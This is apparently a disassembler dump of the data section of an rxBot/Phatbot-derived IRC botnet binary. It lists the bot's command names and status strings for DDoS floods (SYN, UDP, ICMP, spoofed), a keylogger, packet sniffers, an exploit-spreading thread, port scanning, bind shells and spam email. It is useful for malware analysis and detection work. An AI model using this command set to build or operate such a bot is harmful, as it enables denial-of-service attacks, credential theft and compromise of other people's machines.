2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_42A7F4 db 2Dh ; - ; DATA XREF: sub_401ACD+5623o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 4 unk_42A82C db 2Dh ; - ; DATA XREF: sub_401ACD+5581o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o align 10h unk_42A880 db 2Dh ; - ; DATA XREF: sub_401ACD+554Fo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A8B8 db 2Dh ; - ; DATA XREF: sub_401ACD+54E0o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 10h unk_42A900 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406EFFo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_42A938 db 2Dh ; - ; DATA XREF: sub_401ACD+5428o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42A970 db 2Dh ; - ; DATA XREF: sub_401ACD+53AEo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+539Eo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+5397o unk_42A9B4 db 2Dh ; - ; DATA XREF: sub_401ACD+52FCo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 10h aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+52ECo align 4 aAck db 'ack',0 ; DATA XREF: sub_401ACD+52D5o aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+525Fo align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+524Co unk_42A9FC db 2Dh ; - ; DATA XREF: sub_401ACD+51FDo db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 10h aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+5189o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmail db 'email',0 ; DATA XREF: sub_401ACD+509Eo align 4 aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+5087o aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+5070o align 4 aP: ; DATA XREF: sub_401ACD+5059o ; ___:00437FA8o unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+5042o align 10h aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+502Bo align 4 aNs db 'ns',0 ; DATA XREF: sub_401ACD+5014o align 10h aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4FFDo aU: ; DATA XREF: sub_401ACD+4FE6o ; ___:00437FB8o unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4FCFo aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4FB8o align 4 aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4F8Ao aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4F73o aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4F5Co align 4 aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4F36o aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4F1Fo align 4 aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4F08o align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4EF1o align 4 aSc db 'sc',0 ; DATA XREF: sub_401ACD+4EDAo align 4 aScan db 'scan',0 ; DATA XREF: sub_401ACD+4EC3o align 4 aRd db 'rd',0 ; DATA XREF: sub_401ACD+4EACo align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4E95o align 4 aJpl10 db 'jpl10',0 ; DATA XREF: sub_401ACD+4E7Eo align 4 aJpldg10 db 'jpldg10',0 ; DATA XREF: sub_401ACD+4E67o aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4E50o align 4 aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4E39o align 4 dword_42AB38 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4E2Co aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42AB74 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4DBDo aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4D3Ao align 4 aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4D23o ; sub_401ACD+52BDo aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4D0Co align 4 unk_42ABBC db 2Dh ; - ; DATA XREF: sub_401ACD+4CFFo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0 align 4 aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4C28o align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4C11o ; sub_412B08:loc_412C34o aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4BFAo ; sub_412B08:loc_412C18o align 10h aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4BE3o ; sub_412B08+F1o align 4 aC: ; DATA XREF: sub_401ACD+4BCCo ; ___:00437C70o unicode 0, <c>,0 aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4BB5o align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4B8Co align 10h aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4B75o align 4 aMv db 'mv',0 ; DATA XREF: sub_401ACD+4B5Eo align 10h aRename db 'rename',0 ; DATA XREF: sub_401ACD+4B47o align 4 aFf db 'ff',0 ; DATA XREF: sub_401ACD+4B30o align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+4B19o align 4 aE: ; DATA XREF: sub_401ACD+4B02o unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_401ACD+4AEBo aJp10 db 'jp]10',0 ; DATA XREF: sub_401ACD+4AD4o align 4 aJpDe100 db 'jp]de100',0 ; DATA XREF: sub_401ACD+4ABDo align 4 aDe db 'de',0 ; DATA XREF: sub_401ACD+4AA6o align 4 aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4A8Fo align 4 aRp db 'rp',0 ; DATA XREF: sub_401ACD+4A78o align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4A61o ; sub_401ACD+6BE7o align 10h aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4A4Ao aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+4A33o aT3 db 't3',0 ; DATA XREF: sub_401ACD+4A1Co align 10h aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+4A05o align 4 aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+49EEo aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+49D7o align 4 aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+49C0o aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+49A9o align 10h aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+4992o aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+497Bo align 4 aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+4964o aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+494Do align 4 aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+4936o aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+491Fo align 4 aM: ; DATA XREF: sub_401ACD+4908o ; ___:00437C80o ... unicode 0, <m>,0 aCy db 'cy',0 ; DATA XREF: sub_401ACD+48DAo align 4 aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+48C3o align 4 aA: ; DATA XREF: sub_401ACD+48ACo unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_401ACD+4895o align 10h aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+4867o aAa db 'aa',0 ; DATA XREF: sub_401ACD+4850o align 4 aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4839o align 4 aKl db 'kl',0 ; DATA XREF: sub_401ACD+4822o align 4 aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+480Bo aGh db 'gh',0 ; DATA XREF: sub_401ACD+47E2o align 4 aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+47CDo aCap db 'cap',0 ; DATA XREF: sub_401ACD+47B8o aCapture db 'capture',0 ; DATA XREF: sub_401ACD+47A3o unk_42AD4C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406265o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42AD68 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40625Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 aSend db 'send',0 ; DATA XREF: sub_401ACD+475Eo ; sub_409B12+5F0o align 4 unk_42AD94 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40621Eo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42ADB4 db 2Dh ; - ; DATA XREF: sub_401ACD+4747o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 aUser db 'user',0 ; DATA XREF: sub_401ACD+46D3o align 4 unk_42ADDC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406193o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 unk_42ADFC db 2Dh ; - ; DATA XREF: sub_401ACD+46BCo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 10h aShare db 'share',0 ; DATA XREF: sub_401ACD+466Eo align 4 aContinue db 'continue',0 ; DATA XREF: sub_401ACD+462Ao align 4 aPause db 'pause',0 ; DATA XREF: sub_401ACD+4610o align 4 aStop db 'stop',0 ; DATA XREF: sub_401ACD+45F6o align 4 unk_42AE44 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4060B6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42AE64 db 2Dh ; - ; DATA XREF: sub_401ACD+45DFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 4 aStart db 'start',0 ; DATA XREF: sub_401ACD+45A9o align 10h unk_42AE90 db 2Dh ; - ; DATA XREF: sub_401ACD+4577o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aNet db 'net',0 ; DATA XREF: sub_401ACD+4553o dword_42AECC dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4548o aFailedToStartL db '- Failed to start logging thread, error: <%d>.',0 align 4 dword_42AF08 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+44D9o aKeyLoggerActiv db '- Key logger active.',0 align 4 dword_42AF2C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4457o aAlreadyRunning db '- Already running.',0 align 4 dword_42AF4C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD:loc_405F0Eo aNoKeyLoggerThr db '- No key logger thread found.',0 align 4 dword_42AF78 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4437o aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0 align 4 aFile db 'file',0 ; DATA XREF: sub_401ACD+43F8o align 4 aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+43D6o align 4 dword_42AFC4 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405E98o aNoThreadFound_ db '- No thread found.',0 align 4 dword_42AFE4 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43C1o aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 4 dword_42B01C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4391o aFailedToSta_16 db '- Failed to start server, error: <%d>.',0 align 10h dword_42B050 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4344o aServerRunnin_0 db '- Server running on Port: 113.',0 align 4 dword_42B07C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4334o aAlreadyRunni_0 db '- Already running.',0 align 4 aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4301o align 4 unk_42B0A4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DC3o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0 unk_42B0D4 db 2Dh ; - ; DATA XREF: sub_401ACD+42ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0 unk_42B114 db 2Dh ; - ; DATA XREF: sub_401ACD+42BCo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0 unk_42B150 db 2Dh ; - ; DATA XREF: sub_401ACD+424Do db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotPacketS db '- Phatbot packet sniffer active.',0 align 10h unk_42B180 db 2Dh ; - ; DATA XREF: sub_401ACD+41E6o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_1 db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41AFo dword_42B1A8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C71o aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42B1D4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+419Ao aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 10h dword_42B210 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+416Ao aFailedToSta_18 db '- Failed to start sniffer thread, error: <%d>.',0 align 4 dword_42B24C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40FBo aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 4 dword_42B27C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4094o aAlreadyRunni_2 db '- Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: sub_401ACD+4074o ; sub_401ACD+41C6o ... align 10h aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+405Do align 4 aRf db 'rf',0 ; DATA XREF: sub_401ACD+4048o align 4 aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4033o align 4 aCm db 'cm',0 ; DATA XREF: sub_401ACD+401Eo align 4 aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4009o aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+3FF4o align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FDFo aV: ; DATA XREF: sub_401ACD+3FCAo ; ___:00437C74o ... unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FB5o align 4 aLi db 'li',0 ; DATA XREF: sub_401ACD+3FA0o align 10h aList db 'list',0 ; DATA XREF: sub_401ACD+3F8Bo align 4 aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F76o align 4 aDel db 'del',0 ; DATA XREF: sub_401ACD+3F4Co aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F37o ; sub_401ACD+4644o align 4 aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F22o align 4 aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F0Do align 4 aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EF8o align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE3o align 4 aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ECEo align 4 aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA4o align 10h aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Fo align 4 aO: ; DATA XREF: sub_401ACD+3E7Ao ; ___:00437FA4o unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E65o ; sub_401ACD+590Bo ... align 4 aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E50o align 4 aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E3Bo align 10h aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E26o align 4 aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E11o align 4 aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DFCo aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DE7o align 10h aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DBDo align 4 aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D93o aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D7Eo align 4 aJ: ; DATA XREF: sub_401ACD+3D54o ; ___:00437C5Co ... unicode 0, <j>,0 aN: ; DATA XREF: sub_401ACD+3D2Ao ; ___:00437C7Co ... unicode 0, <n>,0 unk_42B37C db 2Dh ; - ; DATA XREF: sub_401ACD+3CF6o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 4 aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C69o align 4 aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3C10o align 4 aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B43o dword_42B3DC dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401ACD+3AEFo ; sub_401ACD+3B26o dd 0 dword_42B3F4 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_401ACD+3AB8o dd 1 dword_42B40C dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401ACD+3A81o ; sub_401ACD+3B98o aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+3A2Co align 4 aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3997o ; sub_401ACD+39D3o ... align 4 aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+393Do align 10h aMsg db 'msg',0 ; DATA XREF: sub_401ACD+384Eo aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+3807o aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+3705o ; sub_401ACD+3D15o align 4 dword_42B454 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_401ACD+36E8o dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_42B47C dd 636364h ; DATA XREF: sub_401ACD+366Bo dword_42B480 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo dword_42B48C dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+3501o ; sub_401ACD+3762o ... dword_42B494 dd 69257325h, 0 ; DATA XREF: sub_401ACD+34E6o ; sub_40ACB5+4Fo ... aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+34A5o align 4 aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3488o ; sub_401ACD+3578o ... align 10h aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+3461o align 4 aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+3444o aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+3422o ; sub_401ACD+3D69o align 4 aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+3405o ; sub_401ACD+354Co ... aJoin db 'join',0 ; DATA XREF: sub_401ACD+33E3o ; sub_401ACD+3D3Fo align 4 aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+33C6o align 4 aMode db 'mode',0 ; DATA XREF: sub_401ACD+3377o ; sub_401ACD+48F1o align 10h aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+335Ao align 10h aNt db 'nt',0 ; DATA XREF: sub_401ACD+330Bo align 4 dword_42B504 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_401ACD+32EEo dword_42B518 dd 7463h ; DATA XREF: sub_401ACD+329Fo dword_42B51C dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o ; sub_401ACD+38A8o ... dword_42B52C dd 5Fh ; DATA XREF: sub_401ACD+3253o ; sub_401ACD+32BFo ... dword_42B530 dd 6D70h ; DATA XREF: sub_401ACD+3233o ; sub_401ACD+487Eo unk_42B534 db 2Dh ; - ; DATA XREF: sub_401ACD+3201o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aSClonesLoadedT db '- %s clones loaded to %s:%s',0 align 10h aLoad db 'load',0 ; DATA XREF: sub_401ACD+31AAo align 4 aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3181o align 10h aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+316Ao align 4 aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3155o aRin db 'rin',0 ; DATA XREF: sub_401ACD+3140o aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+312Bo align 4 unk_42B59C db 2Dh ; - ; DATA XREF: sub_401ACD+3120o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 unk_42B5DC db 2Dh ; - ; DATA XREF: sub_401ACD+30AEo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+3028o unk_42B614 db 2Dh ; - ; DATA XREF: sub_401ACD+300Eo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 10h unk_42B640 db 2Dh ; - ; DATA XREF: sub_401ACD+2FF0o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2FCCo align 10h unk_42B680 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_404A40o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 4 aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_404A22o ; sub_401ACD+3F61o unk_42B6BC db 2Dh ; - ; DATA XREF: sub_401ACD+2EDAo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aInvalidLoginSl db 'Invalid login slot number: %d.',0 align 4 unk_42B6E8 db 2Dh ; - ; DATA XREF: sub_401ACD+2ED2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNoUserLoggedIn db 'No user logged in at slot: %d.',0 align 4 dword_42B714 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_401ACD+2E7Do unk_42B724 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40493Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir' db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress ' db 'from Hell?) who I love so much.',0 align 4 dword_42B7D4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E4Bo aFailedToSta_19 db '- Failed to start secure thread, error: <%d>.',0 align 10h dword_42B810 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_401ACD+2DD1o dd 2E6D6574h, 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2DCBo align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2DC4o align 4 unk_42B844 db 2Dh ; - ; DATA XREF: sub_401ACD+2D4Do db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_20 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42B884 db 2Dh ; - ; DATA XREF: sub_401ACD+2CC9o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 10h dword_42B8B0 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C47o aFailedToSta_21 db '- Failed to start server thread, error: <%d>.',0 align 4 dword_42B8EC dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2BD8o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42B914 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2B25o dword_42B924 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o dword_42B930 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do dword_42B940 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2B08o dword_42B950 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh ; DATA XREF: sub_401ACD+2A95o dd 676E6974h, 2Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o ; sub_401ACD:loc_409778o ... align 4 dword_42B984 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh ; DATA XREF: sub_401ACD+2A73o dd 6E697463h, 2E67h aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do ; sub_401ACD+7A7Eo align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo align 4 unk_42B9D4 db 2Dh ; - ; DATA XREF: sub_401ACD+2A17o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0 align 10h dword_42BA00 dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h ; DATA XREF: sub_401ACD+29D8o dd 2E7325h unk_42BA18 db 2Dh ; - ; DATA XREF: sub_401ACD+29C9o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_22 db '- Failed to start list thread, error: <%d>.',0 align 4 dword_42BA54 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_401ACD+295Ao dd 65726874h, 2E736461h, 0 dword_42BA74 dd 627573h ; DATA XREF: sub_401ACD+2934o dword_42BA78 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h ; DATA XREF: sub_401ACD+28E2o dd 2E7473h unk_42BA90 db 2Dh ; - ; DATA XREF: sub_401ACD+28C7o db 3, 34h, 2 db 6Ch ; 